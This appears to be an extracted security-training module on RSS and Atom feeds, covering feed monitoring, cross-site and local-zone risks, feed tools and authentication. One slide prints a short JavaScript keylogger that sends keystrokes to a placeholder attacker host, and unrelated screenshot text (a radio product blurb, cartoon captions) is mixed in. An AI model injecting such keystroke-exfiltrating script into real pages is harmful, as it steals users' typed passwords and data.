Ethical Hacking and Countermeasures
Version 6

Module LII
Hacking RSS and Atom
Module Objective

This module will familiarize you with:

• RSS and Atom
• Building a Feed Aggregator
• Monitoring the Server with Feeds
• Tracking Changes in Open Source Projects
• Risks by Zone
• Reader Specific Risks
• Example for Attacker to Attack the Feeds
• Tools
Module Flow

RSS and Atom

Building a Feed Aggregator

Monitoring the Server with Feeds

Tracking Changes in Open Source Projects

Risks by Zone

Reader Specific Risks

Example for Attacker to Attack the Feeds

Tools
Introduction

RSS (Really Simple Syndication) and Atom is a format for delivering updated web content.

RSS and Atom feeds make it easy for the user to surf the Web for any updated information instead of going through each Website.

RSS and Atom feeds are collectively called as Syndication feeds.

These syndication feeds let the user collect the new information in their inbox, like email.

It slices up the Web into timely capsules of microcontent which allows the user to make modifications.
Areas Where RSS and Atom is Used

Website owners search for dynamic content to:

- Provide top content to their users
- Boost their website traffic and search engine ranking

- News sites
- Bloggers
- P2P Sites
Finding Feeds to Aggregate

- Feeds can be found anywhere on the web page and blogs
  - A ubiquitous “XML” button link
  - One of the more stylized “RSS 2.0” or “ATOM 0.3” mini-button Links
  - Any hyperlink with a direct mention of “RSS” or “Atom” feeds
  - A hyperlink that reads “Syndicate this Site”

Clickable Feed Buttons

- The methods through which the syndicate feeds work in a different ways while clicking a feed URL are:
  - Appropriate MIME-types in Web server configuration
  - Universal Resource Identifier (URI) scheme in feed URLs
Feeds generated contain very sensitive information about your server

**Monitoring Logs**

- A log is a stream of events in chronological order and feeds tend to be a stream of entries in reverse chronological order
- So, it is possible to build a scraper that simply translates log events straight into feed entries
- You can monitor the server logs using the feeds gathered by scraper

Place these feeds built by programs behind password-protected directories, and, access them only via HTTPS
Monitoring the Server with Feeds (cont’d)

Building Feeds Incrementally

- Feed generator manages collection of entries to keep the previous program entries run in the feed

Monitoring Problems in Apache Logs

- Apache log mostly consists of real problems that need fixing at some point based on persistently buggy or chatty software

Watch for Incoming Links in Apache Logs

- Watch the access logs when the Apache error logs are in the aggregator which are more active, jumbled, and noisy than the error logs
- This also helps in accessing how people are getting into the site

EC-Council

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Concurrent Versions System (CVS) and Subversion Repositories are used to monitor the latest additions and revisions to project source code, and to funnel those events into syndication feed entries.

Watching Projects in (CVS) Repositories

- The essential functions of CVS are:
  - Check-out
  - Update
  - Commit

- Finding a CVS Repository
  - The collection of active Open Source projects is at SourceForge
  - CVS repository is included among the resources offered by SourceForge
Watching Projects in Subversion Repositories

- Subversion repositories is an advanced form of CVS
- It introduces:
  - Atomic commits to prevent from partially checked-ins
  - Directory versioning to track changes to a project that go beyond source code changes
The risks involved in this zone are for Web browsers and web based readers.

**Cross-site request forgery:**
- In this, the attacker makes the system to send requests to a website to execute commands.

**Potential to launch attacks:**
- The attacker can trick the user’s browser into performing web based attacks on their behalf, it may lead to DoS attack or can execute commands if the site is vulnerable.

**Post data and spam:**
- Depending on the developers request to the web library (POST or GET data), the attacker uses this feature of converting data and spam's the victims of a particular site.
The local zone risk arises when the feed is converted to HTML file, stored in a local file, and loaded to Internet explorer instance.

This will allow the reader to open the file to the local browser’s zone and functionality.

The functionality has the access to ActiveX objects with permissions to read and write files to disk.

The other risks involved are access to the XMLHttpRequest and XMLHttpRequest objects typically used by Ajax applications.
Reader Specific Risks

Web reader risks:

- Users subscribe to a web-based feed with browsers or local clients
- These feeds can be affected by both local and remote zone risks
- Online sites, such as Bloglines or Google, provide web-based feed viewers and have remote zone risk
- Attackers exploit the vulnerabilities in web based viewers, steal cookies, and perform cross-site scripting attacks

Website risks:

- Impact of a feed-based attack increases when the feed being controlled is syndicated on other web sites
The vulnerabilities in the web feed client can be utilized if:

- The feed owner is malicious
- The web site which is providing the feed is hacked
- The feeds created form mailing lists, bulletin board messages, peer-to-peer (P2P) web sites, BitTorrent sites or user postings on blogs, can be injected with malicious payload
- The feed is changed during the transport phase via proxy cache poisoning
Example for Attacker to Attack the Feeds

The attacker injects keystroke logging JavaScript on to the website displaying the feed

```html
<script LANGUAGE="JavaScript">
  var key = String.fromCharCode(e.which);
  var img = new Image();
  var src = "http://attacker-host/?" + "keystroke=" + escape(key);
  img.src = src;
  return true;
</script>
```

It allows an attacker to record everything the user is typing, on every page
Example for Attacker to Attack the Feeds (cont’d)

1. An attacker posts a malicious forum or Blog entry.

2. Post is stored in a database. A summary of the post is taken out of the database and written to an RSS or Atom feed file.

3. A feed subscriber downloads the feed into their local reader and executes included JavaScript.
Tools
Perseptio FeedAgent is an RSS feed reader that can keep up-to-date information from the favorite web feeds.

It adds feeds manually, imports them from OPML files, or selects feeds from the built-in directory.

It includes scoring feature that automatically recommends new news items based on the ratings of previous items.
While we're a bit skeptical of the company's claims to "redefine the listening experience," XM's new XpressRC radio does indeed look to be fairly impressive as far as satellite radios go, with its boasting a full-color split-screen display among other notable new features. That screen will let you view information for your current channel on the left side, while letting you browse up to three other channels on the right side. Apart from that, the radio will give you a 60-minute buffer to let you pause and replay programming, and you'll be able to store up to ten of your favorite songs with the new "Songsaver" feature. As with other satellite radios, you'll also be able to move it between vehicles, and make use of various docks and speaker systems for a little out-of-vehicle listening. Look for this one to set you back $170 when it rolls out this fall.
RssFeedEater is an RSS Reader that gathers information from various sites that offer syndicated content.

The program comes pre-loaded with various feeds in several categories.

New feeds can be easily created for the favorite sites by simply adding them to a category.

It provides a clean, easy to use interface.
RssFeedEater: Screenshot
Thingamablog is a cross-platform, blogging application, and RSS feed reader.

It allows to easily publish own weblog without the need for any HTML knowledge.

The interface provides a neatly organized overview of the blogs and a word processor like interface to create new entries.
Thingamablog: Screenshot

Thingamablog is a cross-platform, standalone blogging application that makes authoring and publishing your weblogs almost effortless. Since you’re reading this, you probably have some idea what a "Weblog" is. Or perhaps you’ve only heard the term bandied about and wondered what all the buzz is about.
RSS Builder is an easy to use program to create or maintain one or more RSS feeds for the web site.

Interface supports adding topics, links and content, and then upload the .rss file to the web server, using the built-in FTP client.
RSS Submit enables to submit the RSS Feeds to various RSS search engines.

It also enables to submit multiple feeds at once, and also validate them via a link to an online service.
FeedDemon is a client that can retrieve and organize RSS feeds from the Internet.

It has dozens of pre-configured newsfeeds, and it also allows own feeds by adding the URL for an RSS feed of user’s choice.

It offers an attractive and easy to use interface with integrated web browsing.
Nick Bradbury is at it again

I just learned about Nick Bradbury’s latest project, FeedDemon, an RSS news aggregator. Nick’s work in the web development tools space has been pioneering, with HomeSite being the most popular HTML text-editor ever released, and TopStyle, the standard productivity tool for CSS editing. Versions of both HomeSite and TopStyle are included with Dreamweaver MX. (Interesting side-note: HomeSite is what brought Allaire and Macromedia together in the first place --- Kevin Lynch was looking to partner with the leading HTML editor vendor (Allaire, as we had recently brought Nick and HomeSite).

I’m really excited to be using a Nick Bradbury product again! This is Nick’s first attempt at what I’ll call an end-user personal productivity tool (e.g. the kind of stuff that only Microsoft is supposed to be able to build because of their dominance with Office).

Wednesday, June 09, 2004 9:47:19 PM
FeedForAll enables to easily create, edit, and publish RSS feeds. It automatically updates older feeds to conform with RSS 2.0 standards, and supports advanced feed properties.
FeedExpress is an easy to use RSS/RDF client

It caches and indexes all the feeds for each RSS subscription, making it easy to overview all the feeds

Refresh time can be set for each feed or all of them

Customizes the CSS style appearance
The security in RSS and Atom can be done in three ways:

- **Authentication**
  - Identify the user requesting for the feed
  - This can be done by tried-and-true HTTP authentication mechanisms, including Basic and Digest

- **Authorization**
  - After authentication is completed it can be decided whether the user is allowed to access the requested content

- **Encryption**
  - Encrypt the content to negate the use by third party sniffers
  - This can be done by using SSL which protects the web server
RSS and Atom feeds are collectively called as Syndication feeds.

RSS and Atom feeds make it easy for the user to surf the Web for any updated information instead of going through each Website.

Feeds can be found anywhere on the web page and blogs.

Parsers built on the sites which produce feeds are called Scrapers.

A log is a stream of events in chronological order.

Feed generator manages collection of entries to keep the previous program entries running in the feed.
“I névr know whéré to put thé funny thing ovér thé lëttër é whén I’m writing my résumé.”
"Actually, I wouldn’t mind if someone stole my identity.
I’m tired of being known as the idiot who dented
the boss’s Mercedes in the parking lot!"